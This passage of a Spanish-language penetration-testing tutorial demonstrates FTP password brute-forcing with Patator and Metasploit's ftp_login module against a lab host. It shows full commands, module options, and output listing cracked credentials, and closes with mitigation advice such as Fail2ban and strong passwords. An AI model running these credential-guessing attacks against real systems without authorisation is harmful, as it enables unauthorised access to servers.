11:52:31 patator    INFO - 230   17     0.088 | ftp:password                       |    16 | Login successful.
11:52:31 patator    INFO - 230   17     0.089 | ftp:s3cr3t                         |    17 | Login successful.
11:52:31 patator    INFO - 230   17     0.035 | ftp:hunter2                        |    20 | Login successful.
11:52:31 patator    INFO - 230   17     0.127 | user:user                          |    13 | Login successful.
11:52:31 patator    INFO - 230   17     0.129 | ftp:user                           |    18 | Login successful.
11:52:31 patator    INFO - 230   17     0.116 | ftp:Password1                      |    19 | Login successful.
11:52:38 patator    INFO - Hits/Done/Skip/Fail/Size: 6/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 11s

Eso hace que la salida sea un poco más limpia, por lo que es más fácil ver lo que está pasando.

Método 5

Metasploit

La última herramienta que utilizaremos para atacar por fuerza bruta al FTP es Metasploit. Lánzalo escribiendo msfconsole en el terminal. Desde ahí, podemos buscar cualquier módulo relacionado con FTP usando el comando search:

msf5 > search ftp

Matching Modules
================

   #    Name                                                               Disclosure Date  Rank       Check  Description
   -    ----                                                               ---------------  ----       -----  -----------
   0    auxiliary/admin/cisco/vpn_3000_ftp_bypass                          2006-08-23       normal     No     Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
   1    auxiliary/admin/officescan/tmlisten_traversal                                       normal     Yes    TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
   2    auxiliary/admin/tftp/tftp_transfer_util                                             normal     No     TFTP File Transfer Utility
   3    auxiliary/dos/scada/d20_tftp_overflow                              2012-01-19       normal     No     General Electric D20ME TFTP Server Buffer Overflow DoS
   4    auxiliary/dos/windows/ftp/filezilla_admin_user                     2005-11-07       normal     No     FileZilla FTP Server Admin Interface Denial of Service
   5    auxiliary/dos/windows/ftp/filezilla_server_port                    2006-12-11       normal     No     FileZilla FTP Server Malformed PORT Denial of Service
   6    auxiliary/dos/windows/ftp/guildftp_cwdlist                         2008-10-12       normal     No     Guild FTPd 0.999.8.11/0.999.14 Heap Corruption
   7    auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                       2010-12-21       normal     No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8    auxiliary/dos/windows/ftp/iis_list_exhaustion                      2009-09-03       normal     No     Microsoft IIS FTP Server LIST Stack Exhaustion
   9    auxiliary/dos/windows/ftp/solarftp_user                            2011-02-22       normal     No     Solar FTP Server Malformed USER Denial of Service
   10   auxiliary/dos/windows/ftp/titan626_site                            2008-10-14       normal     No     Titan FTP Server 6.26.630 SITE WHO DoS
   11   auxiliary/dos/windows/ftp/vicftps50_list                           2008-10-24       normal     No     Victory FTP Server 5.0 LIST DoS
   12   auxiliary/dos/windows/ftp/winftp230_nlst                           2008-09-26       normal     No     WinFTP 2.3.0 NLST Denial of Service
   13   auxiliary/dos/windows/ftp/xmeasy560_nlst                           2008-10-13       normal     No     XM Easy Personal FTP Server 5.6.0 NLST DoS
   14   auxiliary/dos/windows/ftp/xmeasy570_nlst                           2009-03-27       normal     No     XM Easy Personal FTP Server 5.7.0 NLST DoS
   15   auxiliary/dos/windows/tftp/pt360_write                             2008-10-29       normal     No     PacketTrap TFTP Server 2.2.5459.0 DoS
   16   auxiliary/dos/windows/tftp/solarwinds                              2010-05-21       normal     No     SolarWinds TFTP Server 10.4.0.10 Denial of Service
   17   auxiliary/fuzzers/ftp/client_ftp                                                    normal     No     Simple FTP Client Fuzzer
   18   auxiliary/fuzzers/ftp/ftp_pre_post                                                  normal     Yes    Simple FTP Fuzzer
   19   auxiliary/gather/apple_safari_ftp_url_cookie_theft                 2015-04-08       normal     No     Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft
   20   auxiliary/gather/d20pass                                           2012-01-19       normal     No     General Electric D20 Password Recovery
   21   auxiliary/gather/konica_minolta_pwd_extract                                         normal     Yes    Konica Minolta Password Extractor
   22   auxiliary/scanner/ftp/anonymous                                                     normal     Yes    Anonymous FTP Access Detection
   23   auxiliary/scanner/ftp/bison_ftp_traversal                          2015-09-28       normal     Yes    BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure
   24   auxiliary/scanner/ftp/colorado_ftp_traversal                       2016-08-11       normal     Yes    ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure
   25   auxiliary/scanner/ftp/easy_file_sharing_ftp                        2017-03-07       normal     Yes    Easy File Sharing FTP Server 3.6 Directory Traversal
   26   auxiliary/scanner/ftp/ftp_login                                                     normal     Yes    FTP Authentication Scanner
   27   auxiliary/scanner/ftp/ftp_version                                                   normal     Yes    FTP Version Scanner
   28   auxiliary/scanner/ftp/konica_ftp_traversal                         2015-09-22       normal     Yes    Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure
   29   auxiliary/scanner/ftp/pcman_ftp_traversal                          2015-09-28       normal     Yes    PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure
   30   auxiliary/scanner/ftp/titanftp_xcrc_traversal

Queremos el módulo ftp_login, así que cárgalo con el comando use:

msf5 > use auxiliary/scanner/ftp/ftp_login

Escribe options para echar un vistazo a la configuración actual:

msf5 auxiliary(scanner/ftp/ftp_login) > options

Module options (auxiliary/scanner/ftp/ftp_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BLANK_PASSWORDS   false            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD                           no        A specific password to authenticate with
   PASS_FILE                          no        File containing passwords, one per line
   Proxies                            no        A proxy chain of format type:host:port[,type:host:port][...]
   RECORD_GUEST      false            no        Record anonymous/guest logins to the database
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             21               yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads
   USERNAME                           no        A specific username to authenticate as
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

En primer lugar, tenemos que establecer la dirección IP de nuestro objetivo:

msf5 auxiliary(scanner/ftp/ftp_login) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

A continuación, especifica el archivo que contiene la lista de nombres de usuario:

msf5 auxiliary(scanner/ftp/ftp_login) > set user_file usuarios.txt

user_file => usuarios.txt

Y haz lo mismo con las contraseñas:

msf5 auxiliary(scanner/ftp/ftp_login) > set pass_file passwords.txt

pass_file => passwords.txt

Eso debería ser todo lo que necesitamos, así que ejecuta run para iniciar el escaneo:

msf5 auxiliary(scanner/ftp/ftp_login) > run

[*] 10.10.0.50:21         - 10.10.0.50:21 - Starting FTP login sweep
[!] 10.10.0.50:21         - No active DB -- Credential data will not be saved!
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: root:hunter2 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: admin:hunter2 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: user:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: user:s3cr3t (Incorrect: )
[+] 10.10.0.50:21         - 10.10.0.50:21 - Login Successful: user:user
[+] 10.10.0.50:21         - 10.10.0.50:21 - Login Successful: ftp:password
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: felipe:password (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: felipe:s3cr3t (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: felipe:user (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: felipe:Password1 (Incorrect: )
[-] 10.10.0.50:21         - 10.10.0.50:21 - LOGIN FAILED: felipe:hunter2 (Incorrect: )
[*] 10.10.0.50:21         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Podemos ver que de todas las opciones que tenemos para atacar por fuerza bruta, hemos terminado con un par de inicios de sesión exitosos.

Cómo prevenir los ataques de fuerza bruta en FTP

Si estás sirviendo por FTP, lo más probable es que recibas cientos o miles de intentos de acceso por fuerza bruta diariamente, la mayoría de los cuales son probablemente automatizados. A pesar de ello, hay algunas medidas que puedes tomar para mitigar el riesgo de un ataque exitoso, e incluso anularlo.

Quizá lo más fácil sea no ejecutar el FTP si no es necesario. Al hacerlo se elimina el problema. Si es esencial, considera ponerlo en un puerto no estándar, lo que eliminará la mayoría, si no todos, los ataques de fuerza bruta automatizados.

Utilizar un servicio como Fail2ban junto con las reglas adecuadas del cortafuegos también reducirá drásticamente la posibilidad de que se produzcan ataques. Son mano de santo. Y como todo lo demás, el uso de contraseñas fuertes y difíciles de descifrar disuadirá a todos los atacantes, excepto a los más persistentes.

En resumen...

Hoy hemos explorado el FTP y cómo atacar por fuerza bruta utilizando unas cuantas herramientas. Hemos visto Ncrack, Medusa, Hydra, Patator y Metasploit, y hemos tocado algunas formas de prevenir este tipo de ataques. El FTP puede parecer un objetivo aburrido, pero su prevalencia y necesidad de su servicio hace que valga la pena saber cómo atacarlo.